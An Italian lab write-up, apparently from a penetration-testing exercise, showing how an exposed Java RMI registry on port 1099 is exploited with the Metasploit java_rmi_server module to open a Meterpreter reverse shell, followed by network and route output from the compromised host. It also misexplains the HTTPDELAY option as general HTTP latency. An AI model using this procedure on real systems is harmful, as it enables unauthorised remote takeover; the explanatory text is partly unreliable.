

# Porta 1099 Java RMI vulnerability

La porta 1099 è la porta di default utilizzata dal servizio Java RMI (Remote Method Invocation) per la comunicazione remota tra client e server. Quando un'applicazione Java usa RMI, il server RMI espone il proprio RMI Registry sulla porta 1099, che funge da punto di accesso per i client remoti che desiderano cercare e invocare oggetti remoti. La vulnerabilità associata a questa porta riguarda principalmente l'esposizione del servizio RMI su una rete non sicura o non protetta, che può rendere il sistema vulnerabile a vari tipi di attacchi.

In questo caso ho usato l'exploit "exploit/multi/misc/java\_rmi\_server" per ottenere il controllo completo della macchina.

```
Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  20                      yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099                    yes       The target port (TCP)
  SRVHOST   0.0.0.0                 yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                    yes       The local port to listen on.
  SSL       false                   no        Negotiate SSL for incoming connections
  SSLCert   Path to a custom SSL certificate (default is randomly generated)
  URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > 
```

come possiamo vedere con show options c'è un parametro chiamato http delay. Il termine HTTP Delay si riferisce ai ritardi (latenza) che si verificano durante la comunicazione tra un client e un server tramite il protocollo HTTP (Hypertext Transfer Protocol). Questi ritardi possono influire negativamente sulle prestazioni di un'applicazione web o di un servizio online. L'HTTP delay può verificarsi in vari stadi del processo di richiesta e risposta HTTP e può essere causato da diverse problematiche legate alla rete, al server o al client.

```

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/1No2yavHXvz3p
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:35628) at 2024-11-15 03:57:39 -0500

meterpreter > ifconfig

Interface 1
-----
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
-----
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : 2a01:9a80:1001:22:a00:27ff:fe77:f796
IPv6 Netmask   : ::
IPv6 Address   : fe80::a00:27ff:fe77:f796
IPv6 Netmask   : ::

meterpreter >

```

In queste immagini ho lanciato con successo l'attacco come possiamo vedere e ho ottenuto la route list.

```

IPv4 network routes
=====
New route

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
2a01:9a80:1001:22:a00:27ff:fe77:f796 ::           ::
fe80::a00:27ff:fe77:f796 ::           ::

meterpreter >

```